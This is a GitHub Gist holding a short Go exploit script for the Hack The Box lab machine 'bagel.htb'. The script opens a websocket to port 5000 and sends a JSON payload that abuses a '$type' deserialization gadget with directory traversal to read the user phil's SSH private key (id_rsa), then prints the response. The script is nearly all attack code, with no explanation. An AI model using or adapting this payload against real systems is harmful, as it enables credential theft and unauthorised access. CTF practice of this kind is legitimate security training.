Created
February 26, 2023 21:26
-
-
Save rudSarkar/eeb493b19722d9533a4d68fa001bb052 to your computer and use it in GitHub Desktop.
Read bagel.htb:5000 phil user id_rsa
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"fmt" | |
"log" | |
"github.com/gorilla/websocket" | |
) | |
func main() { | |
url := "ws://bagel.htb:5000" | |
conn, _, err := websocket.DefaultDialer.Dial(url, nil) | |
if err != nil { | |
log.Fatal("websocket dial:", err) | |
} | |
defer conn.Close() | |
payload := []byte(`{ | |
"RemoveOrder": { | |
"$type": "bagel_server.File, bagel", | |
"ReadFile": "../../../../../../home/phil/.ssh/id_rsa" | |
} | |
}`) | |
if err := conn.WriteMessage(websocket.TextMessage, payload); err != nil { | |
log.Fatal("write message:", err) | |
} | |
_, resp, err := conn.ReadMessage() | |
if err != nil { | |
log.Fatal("read message:", err) | |
} | |
fmt.Printf("%s", resp) | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment